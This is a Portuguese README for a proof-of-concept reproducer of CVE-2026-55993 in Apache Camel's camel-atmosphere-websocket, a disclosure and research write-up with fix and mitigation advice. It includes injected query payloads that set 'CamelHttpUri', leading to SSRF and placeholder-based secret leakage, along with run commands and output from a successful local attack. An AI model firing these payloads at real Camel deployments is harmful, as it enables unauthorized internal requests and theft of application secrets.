
Reprodutor de PoC para CVE-2026-55993 (Apache Camel camel-atmosphere-websocket): o consumidor WebSocket copia os parâmetros de consulta da conexão para o Exchange sem filtro, de modo que um CamelHttpUri injetado aciona uma solicitação no lado do servidor (SSRF) e vaza os placeholders de propriedades resolvidos. Corrigido em 4.14.8/4.18.3/4.21.0.
Este projeto demonstra uma injeção de cabeçalho de mensagem no componente camel-atmosphere-websocket
do Apache Camel, rastreada como CVE-2026-55993. O consumidor WebSocket copia os parâmetros de consulta da
conexão para o Camel Exchange sem nenhum HeaderFilterStrategy, portanto um cliente pode injetar cabeçalhos
de controle do Camel — notadamente CamelHttpUri — simplesmente adicionando-os à string de consulta da URL do WebSocket:
// WebsocketConsumer.sendEventNotification (affected 4.18.2) — query params -> Exchange headers, unfiltered
for (Map.Entry<String, String> param : queryMap.entrySet()) {
exchange.getIn().setHeader(param.getKey(), param.getValue());
}
// where queryMap = getQueryMap(request.getQueryString()) (a naive, non-filtering parser)
Quando a rota faz a ponte deste consumidor para um produtor HTTP, um CamelHttpUri injetado substitui a URI
de destino do produtor — falsificação de solicitação no lado do servidor (SSRF). O produtor camel-http também
chama resolvePropertyPlaceholders() nessa URI controlada pelo atacante, portanto uma referência {{...}}
injetada é expandida para seu valor real e enviada — revelando variáveis de ambiente, propriedades da aplicação ou segredos do vault.
Este PoC demonstra o impacto como SSRF mais divulgação de segredos (CWE-20 → CWE-918 + CWE-200). É um dos
três componentes irmãos corrigidos juntos sob CAMEL-23532 (com camel-vertx-websocket, CVE-2026-46726, e
camel-iggy, CVE-2026-55994).
Comunicado de segurança: https://camel.apache.org/security/CVE-2026-55993.html
A correção aplica o
HttpHeaderFilterStrategyherdado ao mapeamento de entrada, filtrando cabeçalhosCamel*/camel*sem diferenciar maiúsculas de minúsculas, de modo que eles não possam mais ser injetados pela string de consulta do WebSocket.
Os dois membros vulneráveis de WebsocketConsumer são executados sem alterações, com uma string de consulta controlada pelo atacante:
WebsocketConsumer.getQueryMap(String) real — o parser ingênuo e sem filtragem que transforma a string de
consulta da conexão WebSocket em um mapa;WebsocketConsumer.sendEventNotification(...) real — que copia cada entrada desse mapa para o Exchange como
um cabeçalho, sem nenhum HeaderFilterStrategy.O Exchange resultante flui pela rota real até o produtor camel-http real, portanto o SSRF e a divulgação
de property-placeholder {{...}} são genuínos.
Por que o transporte WebSocket não é usado diretamente. Nesta versão do componente (Camel 4.18.2 → Atmosphere 3.1.0), um WebSocket é servido via JSR-356, cujo upgrade é tratado pelo contêiner do servlet e contorna
CamelWebSocketServlet.service()— o único lugar que copia a string de consulta da conexão para oqueryMapdo consumidor.sendEventNotificationlê esse mapa (vazio), nunca a consulta na sessão WebSocket, portanto a injeção não pode ser entregue por meio de um WebSocket JSR-356 ativo nesta versão do Atmosphere. (O Atmosphere 3.1.0 oferece apenas suporte a JSR-356 / Servlet30 / BlockingIO / Netty — não há transporte WebSocket baseado em servlet que popularia oqueryMap.) Este reprodutor, portanto, invoca os dois métodos vulneráveis reais diretamente com a string de consulta do atacante; o PoC irmãocamel-vertx-websocket(CVE-2026-46726) aciona o mesmo defeito por meio de um WebSocket ativo, porque esse componente mapeia a consulta a cada mensagem.
from("atmosphere-websocket:///feed")
.to("http://localhost:8080/legit-backend?throwExceptionOnFailure=false");
O único destino pretendido pelo autor da rota é /legit-backend; o CamelHttpUri injetado o substitui.
CVE-2026-55993/
├── pom.xml # camel-atmosphere-websocket + camel-http 4.18.2
├── Dockerfile
├── docker-compose.yml # single self-contained service
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── VictimRoute.java # atmosphere-websocket:///feed -> http://localhost:8080/legit-backend
│ ├── SinkController.java # SSRF collector: /legit-backend, /internal/secret, /collect/{secret}
│ └── ExploitController.java # drives the real getQueryMap + sendEventNotification with an injected query
└── resources/
└── application.properties # app.secret=... (leaked via placeholder resolution)
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down
1) Legitimate WebSocket connection (no query params)
reached /legit-backend: true
reached /internal/secret: false
2) Injected query 'CamelHttpUri=http://localhost:8080/internal/secret' (SSRF)
server-side request reached /internal/secret: true
3) Injected query 'CamelHttpUri=http://localhost:8080/collect/{{app.secret}}' (secret disclosure)
attacker's collector received leak = SUPER-SECRET-abc123
equals the app's real secret: true
>>> SSRF=true, secret-disclosure=true
Atualize para 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23532). Após a atualização, o consumidor filtra cabeçalhos
Camel* da string de consulta do WebSocket, de modo que CamelHttpUri e outros cabeçalhos de controle não possam mais ser injetados.
Até atualizar, não faça a ponte de um consumidor atmosphere-websocket diretamente para um produtor HTTP sem
antes remover os cabeçalhos de controle do Camel (por exemplo, removeHeaders("CamelHttp*")), e defina o destino
do produtor a partir de uma fonte confiável (ou use bridgeEndpoint=true).
Este reprodutor é fornecido apenas para pesquisa de segurança e testes autorizados, para uma vulnerabilidade divulgada publicamente e corrigida. Não o use contra sistemas sem permissão explícita.
| Propriedade | Valor |
|---|
| Componente | camel-atmosphere-websocket |
| Classe Afetada | org.apache.camel.component.atmosphere.websocket.WebsocketConsumer (getQueryMap() / sendEventNotification() mapeiam parâmetros de consulta para cabeçalhos sem filtro) |
| CWE | CWE-20 (Validação de Entrada Incorreta) → CWE-918 (SSRF) + CWE-200 (Exposição de Informações) |
| Impacto | SSRF sem autenticação e divulgação de segredos via resolução de property-placeholder na URI injetada |
| Pré-condições | Uma rota faz a ponte de um consumidor atmosphere-websocket para um produtor HTTP; o servlet roda com events=true |
| Versões Afetadas | Desde 4.0.0 até antes de 4.14.8, desde 4.15.0 até antes de 4.18.3, desde 4.19.0 até antes de 4.21.0 |
| Versões Corrigidas | 4.14.8, 4.18.3, 4.21.0 |
| JIRA | CAMEL-23532 (PR apache/camel#23285) |
| Crédito | Kamalpreet Singh |